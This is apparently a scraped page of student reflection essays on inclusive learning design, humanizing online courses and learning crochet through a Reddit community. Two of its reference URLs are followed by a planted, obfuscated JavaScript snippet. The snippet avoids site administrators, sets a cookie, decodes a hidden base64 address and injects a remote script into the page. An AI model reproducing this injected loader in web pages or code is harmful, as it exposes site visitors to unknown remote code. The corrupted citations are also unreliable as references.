
One of the issues that were not discussed in the module is the issue of gender. It is essential to understand in the current world, gender orientation has been diversified which means it is not any longer the basic male and female genders. In the universal learning design, it is essential to be sensitive to such matters since its bound to affect some of the students who have diverse gender orientation (McManis, 2020). This is one of the issues that need to be included in the universal learning design.

References

Centre, I. D. (2017). FLOE Inclusive Learning Design Handbook.Β Retrieved from LINS: https://lincs.ed.gov/professional-development/resource-collections/profile-1004

McManis, L. D. (2020, January 15). Inclusive Education: What It Means, Proven Strategies, and a Case Study.Β Retrieved from Share.com: https://blog.sharetolearn.com/classroom-resources/inclusive-education/(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

Reflection 3

My most memorable online learning experience is within an online course and joining a social learning community called Reddit for Crochet knitters. My online course was in my first year called Effective Learning Strategies for Academic Success. The course provides information and guidance on the developing study habits and strategies that lead to success in college. I was able to identify my academic and personal goals, develop time management, reading, and note-taking strategies. Throughout the course, I was able to complete college-level research, write reflective and academic papers.

One concept that I found useful that the course was able to incorporate was humanizing online learning. Initially, before beginning the course, I was a little apprehensive about how I would be able to connect with the material as well as the other learners in my classroom that I would collaborate with. First time experiences are always nerve wracking and being in college for the first time is as scary stepping into an entirely new world. I knew that the Academic Success introductory course would provide me with the future skills and knowledge needed to succeed in my academic career. The mode of this online course made it flexible enough for me to complete assignments whenever I was readily available at my convenience.

One of the readings discusses humanizing online learning so that the learner does not feel the isolation and/or distance that may be felt from learning through an online course. Humanizing an online course is the process of β€œcreating ways to connect learners with each other and the instructors across the distance of online learning” (Crosslin, n.d.). The Community of Inquiry (CoI) framework focuses on increasing teaching, social, and cognitive presence to help learners. The Academic Success class was able to keep me engaged and participative with the weekly required discussions and assignments. The Instructor always sent weekly announcements as well as progress reports that were timely and informative including what improvements could be made in future assignments to succeed within the course.

Through participating in weekly required discussion boards, the social presence and cognitive presence were apparent. Social presence focuses on the learners in the course and the ability to actively and safely participate in the course as an individual. The cognitive presence was visible through the responses written on the week’s discussion board. Chapter Five’s reading includes blogging as an example to β€œencourage learners to take ownership of their learning, building in reflection activities, and creating avenues for learners to share and interact with those reflections” (Crosslin, n.d.).

Joining a social learning platform like Reddit allows users to join and discuss within groups and its members allowing users to post discussion threads on topics of their interest. Chapter seven of the reading includes understanding technology and the foundations of educational media. The chapter recognizes the use of media in education, the six building blocks of media are face to face teaching, text, (still) graphics, audio, video, and computing. Reddit allows its users to connect and interact via text, graphics, audio, and video. I joined a group of fellow Crochet knitters, a group with a total of 142,000 members. Posts are uploaded every day encouraging crochet ideas, tips, and tools. The group is informational because it includes members from varying skill levels of Beginner to Professional Expert. Photos, as well as videos, are uploaded and recommended. I remember when I first began crocheting, I was confused on how to start and end my crochet loop for a simple scarf. Through Reddit, I was able to connect with multiple members who were helpful enough to send tutorial videos and images providing step by step illustrations.

References

Crosslin, M. Chapter 5: Effective Practices. Retrieved 1 March 2020, from https://uta.pressbooks.pub/onlinelearning/chapter/chapter-5-effective-practices/

Crosslin, M. Chapter 8: Understanding Technology. Retrieved 1 March 2020, from https://pressbooks.bccampus.ca/teachinginadigitalagev2/part/chapter-8-understanding-technology/(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();